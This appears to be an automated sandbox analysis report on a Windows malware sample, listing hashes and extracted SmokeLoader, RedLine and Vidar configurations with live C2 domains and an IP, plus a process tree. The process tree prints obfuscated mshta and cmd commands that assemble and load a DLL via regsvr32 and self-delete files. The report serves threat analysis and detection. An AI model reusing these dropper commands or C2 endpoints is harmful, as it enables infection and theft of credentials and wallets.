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Analysis

  • max time kernel
    1800s
  • max time network
    1788s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    09-07-2021 23:00

General

  • Target

    toolspab2 (1).exe

  • Size

    315KB

  • MD5

    585c257e0b345b762e7cdc407d8f9da2

  • SHA1

    ffee403d97b76c3460fc166b9d5ce1205cd216a5

  • SHA256

    4a0ecbcf9b54ed1c9654eb9ee214a797f48c980c6d03a261f62fa9671a2733d6

  • SHA512

    14d39a6cd1c6d912cae7c35e2a98affcd5a9c1df6b947c42de65344e08d34912b09ccac83f9d8c3213b4e3d555769801e8218cb3f4b970d1d08606ee5a454ba8

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://999080321newfolder1002002131-service1002.space/

http://999080321newfolder1002002231-service1002.space/

http://999080321newfolder3100231-service1002.space/

http://999080321newfolder1002002431-service1002.space/

http://999080321newfolder1002002531-service1002.space/

http://999080321newfolder33417-012425999080321.space/

http://999080321test125831-service10020125999080321.space/

http://999080321test136831-service10020125999080321.space/

http://999080321test147831-service10020125999080321.space/

http://999080321test146831-service10020125999080321.space/

http://999080321test134831-service10020125999080321.space/

http://999080321est213531-service1002012425999080321.ru/

http://999080321yes1t3481-service10020125999080321.ru/

http://999080321test13561-service10020125999080321.su/

http://999080321test14781-service10020125999080321.info/

http://999080321test13461-service10020125999080321.net/

http://999080321test15671-service10020125999080321.tech/

http://999080321test12671-service10020125999080321.online/

http://999080321utest1341-service10020125999080321.ru/

http://999080321uest71-service100201dom25999080321.ru/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

redline

C2

82.202.161.37:26317

Extracted

Family

vidar

Version

39.4

Botnet

824

C2

https://sergeevih43.tumblr.com/

Attributes
  • profile_id

    824

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Vidar Stealer 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 13 IoCs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 7 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies registry class 2 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 21 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\toolspab2 (1).exe
    "C:\Users\Admin\AppData\Local\Temp\toolspab2 (1).exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1808
    • C:\Users\Admin\AppData\Local\Temp\toolspab2 (1).exe
      "C:\Users\Admin\AppData\Local\Temp\toolspab2 (1).exe"
      2⤵
      • Loads dropped DLL
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2104
  • C:\Users\Admin\AppData\Local\Temp\B3D5.exe
    C:\Users\Admin\AppData\Local\Temp\B3D5.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:3328
  • C:\Windows\SysWOW64\explorer.exe
    C:\Windows\SysWOW64\explorer.exe
    1⤵
      PID:1096
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe
      1⤵
        PID:3960
      • C:\Windows\SysWOW64\explorer.exe
        C:\Windows\SysWOW64\explorer.exe
        1⤵
          PID:3180
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe
          1⤵
            PID:1480
          • C:\Windows\SysWOW64\explorer.exe
            C:\Windows\SysWOW64\explorer.exe
            1⤵
              PID:3872
            • C:\Windows\explorer.exe
              C:\Windows\explorer.exe
              1⤵
                PID:2444
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                  PID:3672
                • C:\Windows\explorer.exe
                  C:\Windows\explorer.exe
                  1⤵
                    PID:2168
                  • C:\Windows\SysWOW64\explorer.exe
                    C:\Windows\SysWOW64\explorer.exe
                    1⤵
                      PID:2812
                    • C:\Users\Admin\AppData\Local\Temp\E4A.exe
                      C:\Users\Admin\AppData\Local\Temp\E4A.exe
                      1⤵
                      • Executes dropped EXE
                      PID:3356
                    • C:\Users\Admin\AppData\Local\Temp\EE7.exe
                      C:\Users\Admin\AppData\Local\Temp\EE7.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3516
                    • C:\Users\Admin\AppData\Local\Temp\1198.exe
                      C:\Users\Admin\AppData\Local\Temp\1198.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:3992
                      • C:\Windows\SysWOW64\mshta.exe
                        "C:\Windows\System32\mshta.exe" VbsCript: clOSE ( CrEAteOBJect ("WscRIPt.ShELL" ). rUN ( "CMd.EXE /q /c Copy /Y ""C:\Users\Admin\AppData\Local\Temp\1198.exe"" ..\IpDIhVj3g.ExE && STARt ..\IpDIhVj3g.EXe /PyPXDDGMMiEeTQRVIP2SQdwWi2M& IF """"=="""" for %s IN ( ""C:\Users\Admin\AppData\Local\Temp\1198.exe"") do taskkill -f /Im ""%~nxs"" " , 0 , truE ) )
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3324
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /q /c Copy /Y "C:\Users\Admin\AppData\Local\Temp\1198.exe" ..\IpDIhVj3g.ExE && STARt ..\IpDIhVj3g.EXe /PyPXDDGMMiEeTQRVIP2SQdwWi2M& IF ""=="" for %s IN ( "C:\Users\Admin\AppData\Local\Temp\1198.exe") do taskkill -f /Im "%~nxs"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3724
                          • C:\Users\Admin\AppData\Local\Temp\IpDIhVj3g.ExE
                            ..\IpDIhVj3g.EXe /PyPXDDGMMiEeTQRVIP2SQdwWi2M
                            4⤵
                            • Executes dropped EXE
                            PID:2192
                            • C:\Windows\SysWOW64\mshta.exe
                              "C:\Windows\System32\mshta.exe" VbsCript: clOSE ( CrEAteOBJect ("WscRIPt.ShELL" ). rUN ( "CMd.EXE /q /c Copy /Y ""C:\Users\Admin\AppData\Local\Temp\IpDIhVj3g.ExE"" ..\IpDIhVj3g.ExE && STARt ..\IpDIhVj3g.EXe /PyPXDDGMMiEeTQRVIP2SQdwWi2M& IF ""/PyPXDDGMMiEeTQRVIP2SQdwWi2M""=="""" for %s IN ( ""C:\Users\Admin\AppData\Local\Temp\IpDIhVj3g.ExE"") do taskkill -f /Im ""%~nxs"" " , 0 , truE ) )
                              5⤵
                                PID:1496
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /q /c Copy /Y "C:\Users\Admin\AppData\Local\Temp\IpDIhVj3g.ExE" ..\IpDIhVj3g.ExE && STARt ..\IpDIhVj3g.EXe /PyPXDDGMMiEeTQRVIP2SQdwWi2M& IF "/PyPXDDGMMiEeTQRVIP2SQdwWi2M"=="" for %s IN ( "C:\Users\Admin\AppData\Local\Temp\IpDIhVj3g.ExE") do taskkill -f /Im "%~nxs"
                                  6⤵
                                    PID:3032
                                • C:\Windows\SysWOW64\mshta.exe
                                  "C:\Windows\System32\mshta.exe" VBSCrIpT: cLose ( CreAteObject( "wSCrIPt.ShelL" ). RUN ( "cMd /Q /C ecHo 6C:\Users\Admin\AppData\Local\TempZwG> QEFuCrB.w &ECHO | SeT /p = ""MZ"" > 0CZKPbA.~i &copy /Y /b 0CZKPBA.~i +HzMuGQn.ebg + 3KLPjZ48.1 + JBBP.aZ +jjD1CZ.Z +ME53U.RD + G8HVV~AW.A + QEFuCRB.w ..\LPHzR4.XZ &sTaRt regsvr32.exe ..\LphZr4.XZ /U -S & dEl /Q * " ,0 , tRuE ) )
                                  5⤵
                                    PID:1284
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /Q /C ecHo 6C:\Users\Admin\AppData\Local\TempZwG> QEFuCrB.w &ECHO | SeT /p = "MZ" >0CZKPbA.~i &copy /Y /b 0CZKPBA.~i +HzMuGQn.ebg + 3KLPjZ48.1 + JBBP.aZ +jjD1CZ.Z +ME53U.RD + G8HVV~AW.A + QEFuCRB.w ..\LPHzR4.XZ &sTaRt regsvr32.exe ..\LphZr4.XZ /U -S& dEl /Q *
                                      6⤵
                                        PID:2996
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /S /D /c" ECHO "
                                          7⤵
                                            PID:2868
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>0CZKPbA.~i"
                                            7⤵
                                              PID:2416
                                            • C:\Windows\SysWOW64\regsvr32.exe
                                              regsvr32.exe ..\LphZr4.XZ /U -S
                                              7⤵
                                              • Loads dropped DLL
                                              • Suspicious use of NtCreateThreadExHideFromDebugger
                                              PID:3844
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill -f /Im "1198.exe"
                                        4⤵
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3960
                                • C:\Users\Admin\AppData\Local\Temp\13EA.exe
                                  C:\Users\Admin\AppData\Local\Temp\13EA.exe
                                  1⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Checks processor information in registry
                                  • Modifies system certificate store
                                  PID:3216
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c taskkill /im 13EA.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\13EA.exe" & del C:\ProgramData\*.dll & exit
                                    2⤵
                                      PID:812
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /im 13EA.exe /f
                                        3⤵
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3272
                                      • C:\Windows\SysWOW64\timeout.exe
                                        timeout /t 6
                                        3⤵
                                        • Delays execution with timeout.exe
                                        PID:3268
                                  • C:\Users\Admin\AppData\Roaming\hjsscbj
                                    C:\Users\Admin\AppData\Roaming\hjsscbj
                                    1⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetThreadContext
                                    PID:2136
                                    • C:\Users\Admin\AppData\Roaming\hjsscbj
                                      C:\Users\Admin\AppData\Roaming\hjsscbj
                                      2⤵
                                      • Executes dropped EXE
                                      PID:3504
                                  • C:\Users\Admin\AppData\Roaming\vtsscbj
                                    C:\Users\Admin\AppData\Roaming\vtsscbj
                                    1⤵
                                    • Executes dropped EXE
                                    PID:3748
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3748 -s 476
                                      2⤵
                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                      • Program crash
                                      PID:3132
                                  • C:\Users\Admin\AppData\Roaming\hjsscbj
                                    C:\Users\Admin\AppData\Roaming\hjsscbj
                                    1⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetThreadContext
                                    PID:3008
                                    • C:\Users\Admin\AppData\Roaming\hjsscbj
                                      C:\Users\Admin\AppData\Roaming\hjsscbj
                                      2⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Checks SCSI registry key(s)
                                      • Suspicious behavior: MapViewOfSection
                                      PID:3304
                                  • C:\Users\Admin\AppData\Roaming\hjsscbj
                                    C:\Users\Admin\AppData\Roaming\hjsscbj
                                    1⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetThreadContext
                                    PID:1684
                                    • C:\Users\Admin\AppData\Roaming\hjsscbj
                                      C:\Users\Admin\AppData\Roaming\hjsscbj
                                      2⤵
                                      • Executes dropped EXE
                                      PID:2040

                                  Network

                                  MITRE ATT&CK Enterprise v6

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • memory/1096-124-0x0000000000A00000-0x0000000000A6B000-memory.dmp

                                    Filesize

                                    428KB

                                  • memory/1096-123-0x0000000000A70000-0x0000000000AE4000-memory.dmp

                                    Filesize

                                    464KB

                                  • memory/1480-135-0x00000000003D0000-0x00000000003D9000-memory.dmp

                                    Filesize

                                    36KB

                                  • memory/1480-136-0x00000000003C0000-0x00000000003CF000-memory.dmp

                                    Filesize

                                    60KB

                                  • memory/1808-117-0x0000000000460000-0x000000000050E000-memory.dmp

                                    Filesize

                                    696KB

                                  • memory/2104-114-0x0000000000400000-0x000000000040C000-memory.dmp

                                    Filesize

                                    48KB

                                  • memory/2136-238-0x0000000000540000-0x000000000054C000-memory.dmp

                                    Filesize

                                    48KB

                                  • memory/2168-149-0x00000000001F0000-0x00000000001F9000-memory.dmp

                                    Filesize

                                    36KB

                                  • memory/2168-148-0x0000000000400000-0x0000000000405000-memory.dmp

                                    Filesize

                                    20KB

                                  • memory/2444-142-0x00000000004E0000-0x00000000004EC000-memory.dmp

                                    Filesize

                                    48KB

                                  • memory/2444-141-0x00000000004F0000-0x00000000004F6000-memory.dmp

                                    Filesize

                                    24KB

                                  • memory/2812-152-0x0000000000F70000-0x0000000000F79000-memory.dmp

                                    Filesize

                                    36KB

                                  • memory/2812-151-0x0000000000F80000-0x0000000000F85000-memory.dmp

                                    Filesize

                                    20KB

                                  • memory/3016-244-0x0000000002FE0000-0x0000000002FF7000-memory.dmp

                                    Filesize

                                    92KB

                                  • memory/3016-118-0x0000000001280000-0x0000000001297000-memory.dmp

                                    Filesize

                                    92KB

                                  • memory/3016-146-0x0000000002FC0000-0x0000000002FD6000-memory.dmp

                                    Filesize

                                    88KB

                                  • memory/3180-133-0x0000000000410000-0x000000000041B000-memory.dmp

                                    Filesize

                                    44KB

                                  • memory/3180-132-0x0000000000420000-0x0000000000427000-memory.dmp

                                    Filesize

                                    28KB

                                  • memory/3216-196-0x0000000000400000-0x00000000004A4000-memory.dmp

                                    Filesize

                                    656KB

                                  • memory/3216-195-0x00000000020E0000-0x000000000217D000-memory.dmp

                                    Filesize

                                    628KB

                                  • memory/3328-128-0x00000000005A0000-0x00000000005A9000-memory.dmp

                                    Filesize

                                    36KB

                                  • memory/3328-131-0x0000000000400000-0x000000000044F000-memory.dmp

                                    Filesize

                                    316KB

                                  • memory/3356-177-0x0000000000740000-0x00000000007D1000-memory.dmp

                                    Filesize

                                    580KB

                                  • memory/3356-179-0x0000000000400000-0x0000000000492000-memory.dmp

                                    Filesize

                                    584KB

                                  • memory/3516-173-0x0000000004B60000-0x0000000004B61000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/3516-170-0x0000000004B70000-0x0000000004B71000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/3516-169-0x0000000004B62000-0x0000000004B63000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/3516-174-0x0000000005070000-0x0000000005071000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/3516-175-0x0000000004B63000-0x0000000004B64000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/3516-212-0x0000000006460000-0x0000000006461000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/3516-213-0x0000000006630000-0x0000000006631000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/3516-215-0x0000000006C80000-0x0000000006C81000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/3516-168-0x0000000000550000-0x000000000057F000-memory.dmp

                                    Filesize

                                    188KB

                                  • memory/3516-167-0x0000000002290000-0x00000000022AB000-memory.dmp

                                    Filesize

                                    108KB

                                  • memory/3516-172-0x0000000002440000-0x0000000002459000-memory.dmp

                                    Filesize

                                    100KB

                                  • memory/3516-187-0x0000000004B64000-0x0000000004B66000-memory.dmp

                                    Filesize

                                    8KB

                                  • memory/3516-185-0x0000000005780000-0x0000000005781000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/3516-221-0x00000000070B0000-0x00000000070B1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/3516-171-0x0000000000400000-0x0000000000461000-memory.dmp

                                    Filesize

                                    388KB

                                  • memory/3516-180-0x0000000004AD0000-0x0000000004AD1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/3516-178-0x0000000004A70000-0x0000000004A71000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/3516-176-0x0000000004A50000-0x0000000004A51000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/3672-144-0x0000000000BE0000-0x0000000000BE4000-memory.dmp

                                    Filesize

                                    16KB

                                  • memory/3672-145-0x0000000000BD0000-0x0000000000BD9000-memory.dmp

                                    Filesize

                                    36KB

                                  • memory/3748-233-0x0000000000400000-0x000000000044F000-memory.dmp

                                    Filesize

                                    316KB

                                  • memory/3844-206-0x0000000004380000-0x00000000044D0000-memory.dmp

                                    Filesize

                                    1.3MB

                                  • memory/3844-214-0x0000000004B60000-0x0000000004C0B000-memory.dmp

                                    Filesize

                                    684KB

                                  • memory/3844-217-0x0000000004C10000-0x0000000004CA8000-memory.dmp

                                    Filesize

                                    608KB

                                  • memory/3844-207-0x0000000002800000-0x0000000002801000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/3844-208-0x0000000004900000-0x00000000049EB000-memory.dmp

                                    Filesize

                                    940KB

                                  • memory/3844-216-0x0000000004C10000-0x0000000004CA8000-memory.dmp

                                    Filesize

                                    608KB

                                  • memory/3844-209-0x0000000004AA0000-0x0000000004B51000-memory.dmp

                                    Filesize

                                    708KB

                                  • memory/3872-139-0x0000000000D40000-0x0000000000D49000-memory.dmp

                                    Filesize

                                    36KB

                                  • memory/3872-138-0x0000000000D50000-0x0000000000D55000-memory.dmp

                                    Filesize

                                    20KB

                                  • memory/3960-127-0x00000000006E0000-0x00000000006EC000-memory.dmp

                                    Filesize

                                    48KB

                                  • memory/3960-126-0x00000000006F0000-0x00000000006F7000-memory.dmp

                                    Filesize

                                    28KB